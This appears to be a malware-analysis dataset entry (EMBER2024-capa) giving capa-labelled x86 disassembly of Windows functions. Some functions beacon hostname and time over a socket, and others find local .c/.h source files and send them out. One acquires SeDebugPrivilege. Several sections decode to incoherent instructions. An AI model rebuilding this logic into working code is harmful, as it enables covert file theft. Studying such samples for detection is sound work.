joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42a580
Capabilities:
Get hostname
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x85c
push ebx
push esi
push edi
lea edi, [ebp - 0x85c]
mov ecx, 0x217
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x404], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x403]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov word [ebp - 0x414], 0
xor eax, eax
mov dword [ebp - 0x412], eax
mov dword [ebp - 0x40e], eax
mov dword [ebp - 0x40a], eax
mov word [ebp - 0x406], ax
push 0
push 0x400
lea ecx, [ebp - 0x818]
push ecx
mov edx, dword [0x709268]
push edx
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x81c], eax
mov eax, dword [ebp - 0x81c]
mov byte [ebp + eax - 0x818], 0
push str.auth_ncut_r_n
lea ecx, [ebp - 0x818]
push ecx
call fcn.00445130
add esp, 8
push 0
lea edx, [ebp - 0x818]
push edx
call fcn.00445520
add esp, 4
push eax
lea eax, [ebp - 0x818]
push eax
mov ecx, dword [0x709268]
push ecx
call sub.WSOCK32.dll_send
push 0
push 0x400
lea edx, [ebp - 0x818]
push edx
mov eax, dword [0x709268]
push eax
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x81c], eax
mov ecx, dword [ebp - 0x81c]
mov byte [ebp + ecx - 0x818], 0
push 0x400
push 0
lea edx, [ebp - 0x818]
push edx
call fcn.00444750
add esp, 0xc
push 0x80
push 0
push 0x709688
call fcn.00444750
add esp, 0xc
push 0x80
push 0x709688
call sub.WSOCK32.dll_gethostname
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0
je 0x42a6ce
push str.lost
push 0x4d1ef4
push 0x709688
call fcn.00445000
add esp, 0xc
push 0x60
push 0
push 0x7096a8
call fcn.00444750
add esp, 0xc
mov esi, esp
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
cmp esi, esp
call fcn.00444710
push 0x709728
mov ecx, dword [ebp - 0x40a]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x40c]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x40e]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x412]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x414]
and edx, 0xffff
push edx
mov eax, dword [0x4ddd54]
push eax
mov ecx, dword [0x4ddd50]
push ecx
push 0x709708
push 0x709688
push str.win32info__s_s_d__d_d_02d_02d_02d_02d_s_r_n
lea edx, [ebp - 0x404]
push edx
call fcn.00445000
add esp, 0x30
lea eax, [ebp - 0x404]
push eax
push 0x4d1ef4
lea ecx, [ebp - 0x818]
push ecx
call fcn.00445000
add esp, 0xc
push 0
lea edx, [ebp - 0x818]
push edx
call fcn.00445520
add esp, 4
push eax
lea eax, [ebp - 0x818]
push eax
mov ecx, dword [0x709268]
push ecx
call sub.WSOCK32.dll_send
push 0
push 0x400
lea edx, [ebp - 0x818]
push edx
mov eax, dword [0x709268]
push eax
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x81c], eax
pop edi
pop esi
pop ebx
add esp, 0x85c
cmp ebp, esp
call fcn.00444710
mov esp, ebp
pop ebp
ret
Function at 0x42a7e0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x450
push ebx
push esi
push edi
lea edi, [ebp - 0x450]
mov ecx, 0x114
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
push 0x4d1e68
mov eax, dword [ebp + 0xc]
push eax
call fcn.00444fe0
add esp, 8
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 0
jne 0x42a825
xor eax, eax
jmp 0x42a97a
push 0x400
push 0
lea ecx, [ebp - 0x400]
push ecx
call fcn.00444750
add esp, 0xc
mov edx, dword [ebp + 0x10]
push edx
push str.modissend__s_r_n
lea eax, [ebp - 0x400]
push eax
call fcn.00445000
add esp, 0xc
push 0
lea ecx, [ebp - 0x400]
push ecx
call fcn.00445520
add esp, 4
push eax
lea edx, [ebp - 0x400]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.WSOCK32.dll_send
push 0
push 0x400
lea ecx, [ebp - 0x400]
push ecx
mov edx, dword [ebp + 8]
push edx
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x410], eax
mov eax, dword [ebp - 0x410]
mov byte [ebp + eax - 0x400], 0
mov ecx, 1
test ecx, ecx
je 0x42a90a
mov edx, dword [ebp - 0x404]
push edx
push 0x400
push 1
lea eax, [ebp - 0x400]
push eax
call fcn.00444960
add esp, 0x10
mov dword [ebp - 0x408], eax
push 0
mov ecx, dword [ebp - 0x408]
push ecx
lea edx, [ebp - 0x400]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.WSOCK32.dll_send
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x408], 0x400
jge 0x42a908
mov ecx, dword [ebp - 0x404]
push ecx
call fcn.004455a0
add esp, 4
jmp 0x42a90a
jmp 0x42a8a0
push 0x4d2ca0
push str.SEND_OK
push str._s__s
lea edx, [ebp - 0x400]
push edx
call fcn.00445000
add esp, 0x10
push 0
lea eax, [ebp - 0x400]
push eax
call fcn.00445520
add esp, 4
push eax
lea ecx, [ebp - 0x400]
push ecx
mov edx, dword [ebp + 8]
push edx
call sub.WSOCK32.dll_send
push 0
push 0x400
lea eax, [ebp - 0x400]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x410], eax
mov edx, dword [ebp - 0x410]
mov byte [ebp + edx - 0x400], 0
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x450
cmp ebp, esp
call fcn.00444710
mov esp, ebp
pop ebp
ret
Function at 0x42a990
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x984
push ebx
push esi
push edi
lea edi, [ebp - 0x984]
mov ecx, 0x261
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x544], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x543]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x944], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x943]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [0x709680], 0
push 0x20000
push 0
push 0x6e9268
call fcn.00444750
add esp, 0xc
push str._src.h
push 0x709728
push str._s_s
lea eax, [ebp - 0x544]
push eax
call fcn.00445000
add esp, 0x10
mov esi, esp
lea ecx, [ebp - 0x140]
push ecx
lea edx, [ebp - 0x544]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp esi, esp
call fcn.00444710
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
je 0x42aa97
lea eax, [ebp - 0x114]
push eax
mov ecx, dword [0x709680]
shl ecx, 0xa
add ecx, 0x6e9268
push ecx
call fcn.00445130
add esp, 8
mov edx, dword [0x709680]
add edx, 1
mov dword [0x709680], edx
mov esi, esp
lea eax, [ebp - 0x140]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
cmp esi, esp
call fcn.00444710
test eax, eax
jne 0x42aa48
push str._src.c
push 0x709728
push str._s_s
lea edx, [ebp - 0x944]
push edx
call fcn.00445000
add esp, 0x10
mov esi, esp
lea eax, [ebp - 0x140]
push eax
lea ecx, [ebp - 0x944]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp esi, esp
call fcn.00444710
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
je 0x42ab2e
lea edx, [ebp - 0x114]
push edx
mov eax, dword [0x709680]
shl eax, 0xa
add eax, 0x6e9268
push eax
call fcn.00445130
add esp, 8
mov ecx, dword [0x709680]
add ecx, 1
mov dword [0x709680], ecx
mov esi, esp
lea edx, [ebp - 0x140]
push edx
mov eax, dword [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
cmp esi, esp
call fcn.00444710
test eax, eax
jne 0x42aae1
mov eax, dword [0x709680]
pop edi
pop esi
pop ebx
add esp, 0x984
cmp ebp, esp
call fcn.00444710
mov esp, ebp
pop ebp
ret
Function at 0x42ab50
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
push ebx
push esi
push edi
lea edi, [ebp - 0x844]
mov ecx, 0x211
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x400], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x800], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x7ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x804], 0
jmp 0x42abbb
mov eax, dword [ebp - 0x804]
add eax, 1
mov dword [ebp - 0x804], eax
mov ecx, dword [ebp - 0x804]
cmp ecx, dword [0x709680]
jge 0x42ac37
push 0x400
push 0
lea edx, [ebp - 0x400]
push edx
call fcn.00444750
add esp, 0xc
mov eax, dword [ebp - 0x804]
shl eax, 0xa
add eax, 0x6e9268
push eax
push str._src_
push 0x709728
push str._s_s_s
lea ecx, [ebp - 0x400]
push ecx
call fcn.00445000
add esp, 0x14
mov edx, dword [ebp - 0x804]
shl edx, 0xa
add edx, 0x6e9268
push edx
lea eax, [ebp - 0x400]
push eax
mov ecx, dword [0x709268]
push ecx
call fcn.0042a7e0
add esp, 0xc
jmp 0x42abac
push 0x709688
push str.win32name__s_r_n
lea edx, [ebp - 0x800]
push edx
call fcn.00445000
add esp, 0xc
push 0
lea eax, [ebp - 0x800]
push eax
call fcn.00445520
add esp, 4
push eax
lea ecx, [ebp - 0x800]
push ecx
mov edx, dword [0x709268]
push edx
call sub.WSOCK32.dll_send
push 0
push 0x400
lea eax, [ebp - 0x800]
push eax
mov ecx, dword [0x709268]
push ecx
call sub.WSOCK32.dll_recv
pop edi
pop esi
pop ebx
add esp, 0x844
cmp ebp, esp
call fcn.00444710
mov esp, ebp
pop ebp
ret
Function at 0x42adc0
Capabilities:
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3d90
call fcn.00445100
push ebx
push esi
push edi
lea edi, [ebp - 0x3d90]
mov ecx, 0xf64
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov byte [ebp - 0x3544], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3543]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x3944], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3943]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x3d44], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3d43]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x1000
push 0
lea eax, [ebp - 0x1144]
push eax
call fcn.00444750
add esp, 0xc
mov esi, esp
lea ecx, [ebp - 0x1144]
push ecx
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
cmp esi, esp
call fcn.00444710
lea edx, [ebp - 0x1144]
push edx
push 0x4d1ef4
lea eax, [ebp - 0x3544]
push eax
call fcn.00445000
add esp, 0xc
lea ecx, [ebp - 0x3544]
push ecx
call fcn.00445520
add esp, 4
cmp eax, 0x400
jbe 0x42ae94
jmp 0x42b035
push str..dsw
lea edx, [ebp - 0x3544]
push edx
push str._s_s
lea eax, [ebp - 0x3d44]
push eax
call fcn.00445000
add esp, 0x10
mov esi, esp
lea ecx, [ebp - 0x140]
push ecx
lea edx, [ebp - 0x3d44]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp esi, esp
call fcn.00444710
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
je 0x42af0e
push 0x400
push 0
lea eax, [ebp - 0x3944]
push eax
call fcn.00444750
add esp, 0xc
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x3944]
push edx
call fcn.00445130
add esp, 8
jmp 0x42af13
jmp 0x42b035
lea eax, [ebp - 0x3944]
push eax
call fcn.00445520
add esp, 4
cmp eax, 4
ja 0x42af2c
jmp 0x42b035
push 0x2e
lea ecx, [ebp - 0x3944]
push ecx
call fcn.00445470
add esp, 8
mov dword [ebp - 0x3d48], eax
cmp dword [ebp - 0x3d48], 0
je 0x42af6b
push 0x4d2ce4
mov edx, dword [ebp - 0x3d48]
push edx
call fcn.004458e0
add esp, 8
test eax, eax
je 0x42af69
jmp 0x42b035
jmp 0x42af70
jmp 0x42b035
lea eax, [ebp - 0x3944]
push eax
call fcn.00445520
add esp, 4
sub eax, 4
push eax
lea ecx, [ebp - 0x3944]
push ecx
push 0x709708
call fcn.00444210
add esp, 0xc
push 0x5c
lea edx, [ebp - 0x3544]
push edx
call fcn.00445470
add esp, 8
mov dword [ebp - 0x3d4c], eax
cmp dword [ebp - 0x3d4c], 0
je 0x42aff0
lea eax, [ebp - 0x3544]
push eax
call fcn.00445520
add esp, 4
mov esi, eax
mov ecx, dword [ebp - 0x3d4c]
push ecx
call fcn.00445520
add esp, 4
sub esi, eax
push esi
lea edx, [ebp - 0x3544]
push edx
push 0x709728
call fcn.00444210
add esp, 0xc
jmp 0x42aff2
jmp 0x42b035
call fcn.0042a990
test eax, eax
jle 0x42b035
mov esi, esp
push 0
push 0
push 0
push 0x42acb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp esi, esp
call fcn.00444710
mov dword [ebp - 0x3d50], eax
mov esi, esp
mov eax, dword [ebp - 0x3d50]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, esp
call fcn.00444710
pop edi
pop esi
pop ebx
add esp, 0x3d90
cmp ebp, esp
call fcn.00444710
mov esp, ebp
pop ebp
ret
Function at 0x43e570
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
lea edi, [ebp - 0x44]
mov ecx, 0x11
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 0x100
mov eax, dword [ebp + 0x10]
or ah, 1
mov dword [ebp + 0x10], eax
mov ecx, dword [ebp + 0x14]
shl ecx, 1
mov dword [ebp + 0x14], ecx
mov edx, dword [ebp + 0x10]
shr edx, 7
and edx, 1
push edx
mov eax, dword [ebp + 0x14]
and eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
add ecx, eax
mov edx, dword [ebp + 0x10]
shr edx, 8
add ecx, edx
mov eax, dword [ebp + 0xc]
lea ecx, [eax + ecx*2]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0043e430
add esp, 0xc
mov eax, dword [ebp + 0x10]
shl eax, 1
mov dword [ebp + 0x10], eax
mov ecx, dword [ebp + 0x14]
xor ecx, dword [ebp + 0x10]
not ecx
mov edx, dword [ebp - 4]
and edx, ecx
mov dword [ebp - 4], edx
cmp dword [ebp + 0x10], 0x10000
jb 0x43e598
pop edi
pop esi
pop ebx
add esp, 0x44
cmp ebp, esp
call fcn.00444710
mov esp, ebp
pop ebp
ret

Function at 0x4407e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
lea edi, [ebp - 0x44]
mov ecx, 0x11
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
or ah, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
shr ecx, 8
mov edx, dword [ebp + 8]
xor eax, eax
mov ax, word [edx + ecx*2]
mov ecx, dword [ebp + 0xc]
shr ecx, 7
and ecx, 1
neg ecx
and ecx, 0x7ff
xor eax, ecx
sar eax, 4
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp - 4]
add ecx, dword [edx + eax*4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 0xc]
shl edx, 1
mov dword [ebp + 0xc], edx
cmp dword [ebp + 0xc], 0x10000
jb 0x440808
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x440860
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
lea edi, [ebp - 0x48]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0x100
mov eax, dword [ebp + 0xc]
or ah, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0x10]
shl ecx, 1
mov dword [ebp + 0x10], ecx
mov edx, dword [ebp + 0x10]
and edx, dword [ebp - 8]
mov eax, dword [ebp - 8]
add eax, edx
mov ecx, dword [ebp + 0xc]
shr ecx, 8
add eax, ecx
mov edx, dword [ebp + 8]
xor ecx, ecx
mov cx, word [edx + eax*2]
mov edx, dword [ebp + 0xc]
shr edx, 7
and edx, 1
neg edx
and edx, 0x7ff
xor ecx, edx
sar ecx, 4
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp - 4]
add edx, dword [eax + ecx*4]
mov dword [ebp - 4], edx
mov eax, dword [ebp + 0xc]
shl eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0x10]
xor ecx, dword [ebp + 0xc]
not ecx
mov edx, dword [ebp - 8]
and edx, ecx
mov dword [ebp - 8], edx
cmp dword [ebp + 0xc], 0x10000
jb 0x44088f
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x441db0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
lea edi, [ebp - 0x4c]
mov ecx, 0x13
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov dword [eax + 0x30], 0
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x4c], 0
mov edx, dword [ebp + 8]
mov dword [edx + 0x20], 0
mov eax, dword [ebp + 8]
push eax
call fcn.00441e70
add esp, 4
mov dword [ebp - 4], 0
jmp 0x441e04
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0x100
jae 0x441e57
mov edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], 0
jmp 0x441e25
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 8
jge 0x441e48
mov ecx, dword [ebp - 8]
shr ecx, 1
mov edx, dword [ebp - 8]
and edx, 1
sub edx, 1
not edx
and edx, 0xedb88320
xor ecx, edx
mov dword [ebp - 8], ecx
jmp 0x441e1c
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 8]
mov dword [ecx + eax*4 + 0x6c], edx
jmp 0x441dfb
pop edi
pop esi
pop ebx
add esp, 0x4c
cmp ebp, esp
call fcn.00444710
mov esp, ebp
pop ebp
ret

Function at 0x45b4b0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x45b4cf
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x45b4d6
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x45b4ed
mov ecx, dword [ebp - 4]
push ecx
call fcn.004565e0
add esp, 4
or eax, 0xffffffff
jmp 0x45b4ef
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x45b500
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x45b52b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004565e0
add esp, 4
or eax, 0xffffffff
jmp 0x45b55a
mov ecx, dword [ebp - 4]
and ecx, 1
test ecx, ecx
je 0x45b558
mov edx, dword [ebp + 0xc]
and edx, 2
test edx, edx
je 0x45b558
mov dword [0x709b60], 0xd
mov dword [0x709b64], 5
or eax, 0xffffffff
jmp 0x45b55a
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x406810
Capabilities:
Connect socket

Disassembly:
in al, 0x8b
jp 0x40686a
mov ebx, dword [edi]
or byte [ebx], dl
push es
inc ax
add byte [edx - 0x75], bl
dec esp
bnd call 0xfffe5640
push esi
call 0x993d66e0
add esp, 0xffffff83
pop esi
pop ebp
ret 0x8704
dec esi
adc al, 0x8d
push esi
sub byte [ecx + 0x52], dl
push eax
call dword [sym.imp.WSOCK32.dll_connect]
add al, 0xf8
dec dword [edi]
jmp 0x40f2b8

Function at 0x406a40
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x458bec8b
or al, 0x33
leave
push esi
xor esi, esi
pushf
dec eax
push cs
lea ecx, [ecx + ecx*4]
invalid

Function at 0x40ad90
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub eax, 2
je 0x40adfd
call dword [fcn.0040832c]
mov dword [eax], 0x273f
xor edx, dword [eax + 0x5d]
ret
arpl di, bx
inc ebp
fidiv dword [esi - 0x26]
mov eax, dword [ebp + 0x10]
mov ebx, 0xbb09fe64
and eax, 0xff
cdq
idiv ebx
add al, 0xf5
pop eax
push ebp
adc byte [eax + 0x4eba001], cl
cmp al, 9
inc esi
pop ss
xchg ecx, eax
inc ebp
adc byte [ebx + 0xa], bh
pop eax
inc dword [eax]
add byte [eax], al
cdq
div dword [ebx + 0x43]
xor byte [eax - 0x3d3976fd], cl
add al, 0x30
mov byte [ecx], al
inc ecx
mov byte [ecx], 0xf3
inc ecx
dec edi
jne 0x40ae1d
jbe 0x40ae53
or al, 0x41
pop ds
mov byte [ecx - 1], 0
pop ebx
pop ebp
ret
sub esp, 0xc
push ebx
loope 0x40ae67
jne 0x40ae6b
push edi
cmp ebp, 0
ja 0x40ae72
mov dword [esi], 0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
test dl, 0xc
add ecx, dword [ebx + 0x168b085d]
mov ebx, dword [ebp + 8]
mov edx, dword [esi]
sbb dh, dh
inc dword [edx]
loope 0x40aee2
mov ebx, dword [esi - 0x45]
test dword [ebx + 0x38b5e75], eax
adc byte [eax + edx*2], 0x33
invalid
fiadd dword [ebx + 0x30]
or edi, 0xffffffff
add al, 0xc7
adc eax, 0x284c0c45
mov cl, byte [ebx + 0x30]
inc edx
cwde
mov edx, dword [esi + 0x16894a40]
mov dword [ebx + 0x30], edi
mov ecx, dword [esi]
mov dword [ecx], edi
inc ebx
test ecx, ecx
jne 0x40af17
invalid
sti
dec ebx
inc esi
test cl, cl
sysexit
sbb eax, 0x8b000001
push ebx
adc al, 0x95
push edx
mov dword [ebp - 4], eax
mov dword [ebp - 8], edi
or byte [ebp - 0x7c00000d], bl
jnp 0x40af7e
add dword [ebp + 0x79], esi
push ebp
call 0x10d42af
xor ecx, ecx
mov dword [ebp + 8], eax
cmp eax, ecx
xor edx, dword [0x9958438b]
call 0xffb8a340
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x850c
inc ebx
fnstsw word [ebx]
enter 0x3772, 0xffffffffffffff8b
inc ebx
mov byte [0x8df44b8b], al
push ebp
hlt
Function at 0x40b400
Capabilities:
Encode data using base64

Disassembly:
push ebp
and ebp, esp
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
dec esp
push esi
lea edi, [ebp - 2]
xor esi, esi
push edi
mov edi, dword [ebp - 0x43]
test ecx, ecx
jle 0x40b483
xor edx, edx
xor ebx, ebx
daa
adc al, 0x37
add esi, 3
shr edx, 2
inc eax
sbb byte [edx + 0x40c718], dl
mov byte [eax - 1], dl
mov dl, byte [edi + esi - 3]
mov bl, byte [edi + esi - 2]
and edx, 0x20
in al, 0xe2
add al, 0xc1
jmp 0x40b444
inc eax
mov dl, byte [eax]
inc ebp
test al, 0x40
sar dword [ecx], cl
jo 0x40b44d
dec dword [edx - 0x7501c8c0]
loope 0x40b48c
mov al, byte [eax + 0x37]
dec byte [edx - 0x7cefc81f]
loop 0x40b468
adc byte [ebx - 0x3398f01e], al
add al, cl
jmp 0x40b465
int3
test dword [eax + 0x35], 0x8aff5088
push esp
inc edi
inc dword [ebx + 0x4bfa3fe2]
mov byte [eax - 1], dl
mov dl, byte [edi + eax*2 - 1]
and edx, 0x3f
cli
dec ebx
mov dl, 0x8a
xchg edx, eax
sbb bh, al
inc eax
add byte [eax - 0x678300b0], cl
xor edx, dword [ebp - 0x55]
cmp esi, edx
jge 0x40b4e6
enter 0xffffffffffff8ac9, 0xc
aaa
leave
mov cl, byte [edi + esi]
mov dl, 0xf
add dword [eax - 0x52], 0xc7189e2e
inc eax
fidivr word [ebx]
mov byte [eax + 0x51], cl
mov dl, byte [ebx + ebx]
jne 0x40b4b6
xlatb
loop 0x40b4a7
jp 0x40b488
add al, 0x82
or dword [edx + 0x49fbfb18], 0xc6ff4888
add byte [0x4c8d2b7b], bh
add dword ds:[ebx], esi
add byte [ecx - 0x404e776], 0x49
mov byte [eax - 1], cl
mov byte [eax], 0x3d
jnp fcn.0040b4e1
sub ecx, dword [ebp + 0x33013e4c]
lea ecx, [esi + edi + 1]
xor ebx, ebx
and edx, 3
mov dl, byte [0xc104e2c1]
jmp 0x40b4b5
fild dword [ebx + 0x158a03e2]
shl edx, 4
shr ebx, 0xee
jg 0x40b49c
inc eax
sub eax, 0x33ce1892
add byte [eax + 0x94fff50], cl
sub dword [esi + 0xf], 0xffffff8a
adc al, 0x8d
sbb byte [ebx + 0x40], dl
add byte [eax + 0xc64010], cl
inc eax
mov byte [eax], 0x3d
aas
mov edx, dword [ebp + 8]
Function at 0x1000263d
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 8
call fcn.1000be22
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.1000be22
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp + 8], 0
jne 0x100026b9
mov eax, dword [0x100c1194]
mov dword [ebp + 8], eax
mov dword [ebp - 0x18], esp
push dword [ebp + 8]
push 0
push 0x1f0fff
mov eax, 3
call fcn.1000be3a
cmp dword [ebp - 0x18], esp
je 0x100026e5
push 6
call fcn.1000be34
add esp, 4
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], esp
lea eax, [ebp - 8]
push eax
push 0xf01ff
push dword [ebp - 4]
mov eax, 8
call fcn.1000be3a
cmp dword [ebp - 0x18], esp
je 0x10002713
push 6
call fcn.1000be34
add esp, 4
mov dword [ebp - 0x18], esp
push dword [ebp - 0xc]
push str.SeDebugPrivilege
push 0
mov eax, 9
call fcn.1000be3a
cmp dword [ebp - 0x18], esp
je 0x1000273f
push 6
call fcn.1000be34
add esp, 4
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 1
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 2
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x10]
add ebx, 8
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov dword [ebp - 0x18], esp
push 0
push 0
push 0
push dword [ebp - 0x10]
push 0
push dword [ebp - 8]
mov eax, 0xa
call fcn.1000be3a
cmp dword [ebp - 0x18], esp
je 0x100027ce
push 6
call fcn.1000be34
add esp, 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esp
push dword [ebp - 4]
mov eax, 0xb
call fcn.1000be3a
cmp dword [ebp - 0x18], esp
je 0x100027f3
push 6
call fcn.1000be34
add esp, 4
mov eax, dword [ebp - 0x14]
jmp 0x100027fb
push eax
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.1000be16
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
call fcn.1000be16
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8